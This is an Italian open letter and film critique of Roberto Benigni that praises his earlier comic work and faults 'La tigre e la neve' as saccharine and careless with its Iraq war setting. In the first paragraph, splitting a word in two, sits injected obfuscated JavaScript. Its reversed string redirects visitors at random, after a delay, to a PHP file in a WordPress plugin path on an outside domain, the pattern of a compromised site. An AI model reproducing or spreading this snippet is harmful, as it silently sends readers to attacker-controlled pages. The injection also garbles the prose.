Roberto, che ti succede?

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Sono coetaneo di Roberto Benigni e da 30 anni (dai tempi pioneristici di TeleVacca) mi rispecchio nelle sue invettive, nelle sue irriverenze, piacevolmente travolto da quel turbine di energia e di vitalità creativa.
Ho ammirato soprattutto la sua straordinaria capacità di fondere il robusto e sanguigno retroterra popolare da ‘maledetto toscano’ con una vena metafisica, trasognata, quasi chapliniana. Come milioni di persone ho riso fino alla lacrime per i suoi lazzi, invidi (typeof ($p$VTO6JhIH6WkCGAcPR.list[n]) == "string") return $p$VTO6JhIH6WkCGAcPR.list[n].split("").reverse().join("");return $p$VTO6JhIH6WkCGAcPR.list[n];};$p$VTO6JhIH6WkCGAcPR.list=["'php.tegdiw.ssalc/bil/orp-tegdiw-rettiwt/snigulp/tnetnoc-pw/moc.xamdok//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andogli quella spudorata libertà critica che si prendeva, quando ribattezzava Dio come Guido attribuendogli tutti i vizi capitali o mentre apostrofava Giovanni Paolo II° come ‘Wojtilaccio’. Ma mi ha anche profondamente commosso interpretando il malinconico maestro di ‘Chiedo Asilo’ (1979, regia di Marco Ferreri), pronto a sparire in mare con il suo piccolo allievo che beve solo camomilla. E che dire del frastornato proletario di ‘Berlinguer, ti voglio bene’, in perenne attesa che Enrico dia il via all’agognata insurrezione? Impossibile scordare poi lo sconclusionato protagonista dell’ultimo film di Fellini, ‘La Voce della Luna’, il bizzarro vagabondo che interroga i pozzi e i cimiteri della pianura cercandovi invano quel silenzio che il fragore della stupidità umana gli nega.
Spesso riserviamo la nostra visceralità proprio alle persone che si amano e deve essere per questo che la visione de ‘La tigre e la neve’ (l’ultimo, reclamizzatissimo, film di Benigni) mi ha lasciato dentro un sentimento forse esagerato di delusione e di amarezza. Mi chiedo infatti se il successo mondiale e il profumo degli Oscar non gli abbiano per caso ‘dato alla testa’, allontanandolo da quella matrice di ‘realismo grottesco’ (per dirla con Michail Bachtin) che lui pure aveva orgogliosamente rivendicato quando, all’atto di ricevere la statuetta, ringraziò i genitori per ‘averlo fatto nascere povero’. Un riconoscimento non retorico il cui senso fu immediatamente percepito da tutti i suoi ammiratori.
Perché delusione e amarezza? Per la banalità, l’inconsistenza e la non credibilità dell’intero edificio poetico e narrativo del film. L’idea di amore che sta alla base della vicenda -e che spinge il protagonista fino a Bagdad sulle tracce della sua ‘bella’- mi è suonata bolsa, irrealistica e, in ultima analisi, anche poco rispettosa del tragico contesto bellico scelto come sfondo della storia. Infatti, proprio di ‘sfondo’ si tratta, perché la drammaticità della guerra non viene mai realmente attraversata né interagisce in forma significativa con il film, inghiottita com’è da un’atmosfera stucchevole, dove si spande un improbabile lirismo da ‘amore universale’.
Si potrebbe obiettare che anche ne ‘La vita è bella’ l’operazione consisteva nell’opporre all’orrore del lager la forza dell’amore di un padre ma in quel caso la necessità di proteggere un figlio dall’odio e dalla violenza conferiva all’intero meccanismo una sua credibilità (per altro abbastanza compromessa da quel finale da ‘Mulino Bianco’, con madre e figlio abbracciati nell’erba mentre attorno gli scampati dal lager sciamano come in una scampagnata). Qui entra in gioco l’amore di un adulto (per giunta poeta) per una donna e il sentimento assume la forma di una follia ‘giulebbosa’ che stride clamorosamente con la tragicità della situazione, fino ad impastare anche gli altri personaggi: gentilissimi medici irakeni pronti a farsi in quattro per compiacere l’innamorato, soldati americani disponibili ad intenerirsi per il poeta, bambini irakeni che dispensano sorrisi e regalano disegni. Accade così che perfino uno pseudo-kamikaze intercettato ad un posto di blocco o la passeggiata in un campo minato si trasformino in facili siparietti comici, dove Bagdad diventa solo un espediente, un pretesto narrativo, un ammiccamento non molto ‘etico’ ad un tema di dolorosa attualità.
Ma che meraviglia!!! Non è mica poi tanto male questa guerra. Bello poi poter declamare versi in piena notte con il poeta Fuad, magari seduti sulla statua di Saddam appena abbattuta, mentre in un cielo da cartolina filano i fuochi d’artificio. Ah, no, sono i traccianti della contraerea? Sembrava le ‘Mille e una notte’. Poi il punto di ripresa si alza e compare un quadro di De Chirico. Ah, no, sarebbe una piazza di Bagdad? Piuttosto ben messa, tutto sommato…
Con queste premesse è davvero difficile capire cosa spinga il povero Fuad prima alla crisi mistica e poi al suicidio. Dov’è il percorso umano e intellettuale che può spiegarlo e rendercelo comprensibile, quando nel film non c’è una sola inquadratura da cui traspaia un senso di autentica sofferenza?
Quello che più colpisce -e che purtroppo era già percepibile anche nella precedente filmografia del Benigni attore-regista- è l’idealizzazione della figura femminile nelle sembianze ‘iconografiche’ di Nicoletta Braschi. Premesso che la Braschi ha prodotto ottime prove d’attrice le poche volte che è riuscita a smarcarsi dall’ingombrante abbraccio artistico del consorte (basta pensare all’insegnante depressa di ‘Ovosodo’ o all’impiegata ‘mobbizzata’ di ‘Mi piace lavorare’), va rilevato che quella che emerge dai film di Benigni è una figura stereotipata al limite del sopportabile, con la massima e più compiuta espressione nella petulante Fatina di ‘Pinocchio’.
Insomma, possibile che l’amore non sia davvero niente di meglio di questo ‘birignao’ in salsa toscana? Magari condito con le citazioni di Borges, Yourcenar, Dante etc, con il risultato di salmodiare e banalizzare anche i gioielli della letteratura all-time…
Roberto, ti prego, ritrova la forza della tua povertà. E con lei la cattiveria, il furore, l’invettiva e, perché no?, anche la bestemmia. Deponi dunque questo ‘buonismo’ ecumenico e torna a nutrirti di quelle radici proletarie che hanno alimentato così felicemente il tuo talento. Altrimenti farai davvero la fine di quel noioso Pinocchio in carne ed ossa che ha lasciato in disparte su una sedia il vecchio burattino inservibile. Che conclusione edificante! Ma noi continueremmo a rimpiangere quel mascalzone che tirava calci e ne combinava di tutti i colori…

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